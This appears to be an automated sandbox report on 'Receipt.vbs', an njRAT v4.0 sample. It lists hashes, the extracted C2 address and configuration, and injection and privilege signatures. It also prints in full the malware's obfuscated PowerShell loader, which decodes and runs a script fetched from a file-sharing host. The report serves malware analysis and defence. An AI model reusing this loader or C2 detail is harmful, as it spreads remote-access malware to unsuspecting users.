Analysis
-
max time kernel
150s -
max time network
164s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
31-08-2021 20:49
Static task
static1
Behavioral task
behavioral1
Sample
Receipt.vbs
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
General
-
Target
Receipt.vbs
-
Size
3KB
-
MD5
7847bcdabe1d416d86d06d3c81a11052
-
SHA1
abaff8024bd174d05edba2c32eb2aa5c0c7071c9
-
SHA256
6e20ded2b6c78190b5c281cd6d5092cc7336aeab810b98155e118db7801744f1
-
SHA512
ec48efbf28797aed093951c1d4d885aec8ca186e585922fade445b15b4691c7eb8026338d2f873b33e671652a2301261eb6af3aa55d8b8354a089a00a664676a
Malware Config
Extracted
Family
njrat
Version
v4.0
Botnet
Boss
C2
103.147.184.73:7103
Mutex
Windows
Attributes
-
reg_key
Windows
-
splitter
|-F-|
Signatures
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 9 1388 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1388 set thread context of 1444 1388 powershell.exe aspnet_regbrowsers.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exepid process 1388 powershell.exe 1388 powershell.exe 1388 powershell.exe 1388 powershell.exe 1388 powershell.exe -
Suspicious use of AdjustPrivilegeToken 30 IoCs
Processes:
powershell.exeaspnet_regbrowsers.exedescription pid process Token: SeDebugPrivilege 1388 powershell.exe Token: SeDebugPrivilege 1444 aspnet_regbrowsers.exe Token: 33 1444 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1444 aspnet_regbrowsers.exe Token: 33 1444 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1444 aspnet_regbrowsers.exe Token: 33 1444 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1444 aspnet_regbrowsers.exe Token: 33 1444 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1444 aspnet_regbrowsers.exe Token: 33 1444 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1444 aspnet_regbrowsers.exe Token: 33 1444 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1444 aspnet_regbrowsers.exe Token: 33 1444 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1444 aspnet_regbrowsers.exe Token: 33 1444 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1444 aspnet_regbrowsers.exe Token: 33 1444 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1444 aspnet_regbrowsers.exe Token: 33 1444 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1444 aspnet_regbrowsers.exe Token: 33 1444 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1444 aspnet_regbrowsers.exe Token: 33 1444 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1444 aspnet_regbrowsers.exe Token: 33 1444 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1444 aspnet_regbrowsers.exe Token: 33 1444 aspnet_regbrowsers.exe Token: SeIncBasePriorityPrivilege 1444 aspnet_regbrowsers.exe -
Suspicious use of WriteProcessMemory 13 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 3608 wrote to memory of 1388 3608 WScript.exe powershell.exe PID 3608 wrote to memory of 1388 3608 WScript.exe powershell.exe PID 1388 wrote to memory of 1844 1388 powershell.exe aspnet_regbrowsers.exe PID 1388 wrote to memory of 1844 1388 powershell.exe aspnet_regbrowsers.exe PID 1388 wrote to memory of 1844 1388 powershell.exe aspnet_regbrowsers.exe PID 1388 wrote to memory of 1444 1388 powershell.exe aspnet_regbrowsers.exe PID 1388 wrote to memory of 1444 1388 powershell.exe aspnet_regbrowsers.exe PID 1388 wrote to memory of 1444 1388 powershell.exe aspnet_regbrowsers.exe PID 1388 wrote to memory of 1444 1388 powershell.exe aspnet_regbrowsers.exe PID 1388 wrote to memory of 1444 1388 powershell.exe aspnet_regbrowsers.exe PID 1388 wrote to memory of 1444 1388 powershell.exe aspnet_regbrowsers.exe PID 1388 wrote to memory of 1444 1388 powershell.exe aspnet_regbrowsers.exe PID 1388 wrote to memory of 1444 1388 powershell.exe aspnet_regbrowsers.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Receipt.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SOS='2@-H-53-H-5A-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@E-H-@A-H-53-H-@@-H-@6-H-@7-H-@8-H-20-H-3D-H-20-H-27-H-68-H-7@-H-7@-H-70-H-73-H-3A-H-2F-H-2F-H-7@-H-72-H-61-H-6E-H-73-H-66-H-65-H-72-H-2E-H-73-H-68-H-2F-H-67-H-65-H-7@-H-2F-H-62-H-6D-H-@2-H-6E-H-@2-H-31-H-2F-H-66-H-69-H-78-H-2E-H-7@-H-78-H-7@-H-27-H-3B-H-0D-H-0A-H-2@-H-@5-H-@@-H-52-H-@6-H-@7-H-@8-H-@E-H-@A-H-@D-H-@B-H-@@-H-@5-H-@6-H-@7-H-@8-H-@A-H-20-H-3D-H-20-H-27-H-6E-H-@5-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-@5-H-62-H-@3-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-5@-H-27-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-27-H-2C-H-27-H-7@-H-2E-H-57-H-27-H-29-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-27-H-2C-H-27-H-6C-H-@9-H-@5-H-@E-H-27-H-29-H-3B-H-0D-H-0A-H-2@-H-53-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@E-H-@A-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@A-H-@B-H-20-H-3D-H-20-H-27-H-@@-H-@F-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-61-H-@@-H-53-H-5@-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-@7-H-27-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-27-H-2C-H-27-H-57-H-6E-H-@C-H-6F-H-27-H-29-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-27-H-2C-H-27-H-72-H-@9-H-6E-H-27-H-29-H-3B-H-0D-H-0A-H-2@-H-53-H-57-H-58-H-@@-H-@5-H-@3-H-52-H-@6-H-@7-H-59-H-@8-H-55-H-@A-H-@9-H-53-H-@@-H-@6-H-56-H-@7-H-@8-H-@A-H-20-H-3D-H-27-H-@9-H-60-H-@5-H-58-H-28-H-6E-H-60-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-60-H-63-H-60-H-5@-H-20-H-2@-H-@5-H-@@-H-52-H-@6-H-@7-H-@8-H-@E-H-@A-H-@D-H-@B-H-@@-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-@7-H-@2-H-@8-H-@E-H-@A-H-53-H-@@-H-@6-H-@7-H-@8-H-29-H-27-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-27-H-2C-H-27-H-65-H-60-H-57-H-60-H-2D-H-@F-H-62-H-6A-H-60-H-@5-H-27-H-29-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-27-H-2C-H-27-H-@5-H-@6-H-@7-H-@8-H-@A-H-29-H-2E-H-2@-H-53-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@E-H-@A-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@A-H-@B-H-28-H-2@-H-53-H-5A-H-58-H-@@-H-@3-H-@6-H-56-H-27-H-29-H-3B-H-0D-H-0A-H-26-H-28-H-27-H-@9-H-27-H-2B-H-27-H-@5-H-58-H-27-H-29-H-28-H-2@-H-53-H-57-H-58-H-@@-H-@5-H-@3-H-52-H-@6-H-@7-H-59-H-@8-H-55-H-@A-H-@9-H-53-H-@@-H-@6-H-56-H-@7-H-@8-H-@A-H-20-H-2D-H-@A-H-6F-H-69-H-6E-H-20-H-27-H-27-H-29-H-7C-H-26-H-28-H-27-H-@9-H-27-H-2B-H-27-H-@5-H-58-H-27-H-29-H-3B-H-'.Replace('@','4');Invoke-Expression (-join ($SOS -split '-H-' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/1388-114-0x0000000000000000-mapping.dmp
-
memory/1388-120-0x0000025371100000-0x0000025371101000-memory.dmpFilesize
4KB
-
memory/1388-125-0x00000253711B0000-0x00000253711B1000-memory.dmpFilesize
4KB
-
memory/1388-126-0x000002536EF10000-0x000002536EF12000-memory.dmpFilesize
8KB
-
memory/1388-127-0x000002536EF13000-0x000002536EF15000-memory.dmpFilesize
8KB
-
memory/1388-128-0x000002536EF16000-0x000002536EF18000-memory.dmpFilesize
8KB
-
memory/1388-143-0x000002536EF18000-0x000002536EF19000-memory.dmpFilesize
4KB
-
memory/1388-155-0x0000025371250000-0x0000025371253000-memory.dmpFilesize
12KB
-
memory/1444-158-0x0000000000400000-0x000000000040E000-memory.dmpFilesize
56KB
-
memory/1444-159-0x000000000040836E-mapping.dmp
-
memory/1444-165-0x00000000056F0000-0x00000000056F1000-memory.dmpFilesize
4KB
-
memory/1444-166-0x00000000062C0000-0x00000000062C1000-memory.dmpFilesize
4KB
-
memory/1444-167-0x0000000005DB0000-0x0000000005DB1000-memory.dmpFilesize
4KB
-
memory/1444-168-0x0000000005DC0000-0x0000000005DC1000-memory.dmpFilesize
4KB
-
memory/1444-169-0x0000000005D70000-0x0000000005D71000-memory.dmpFilesize
4KB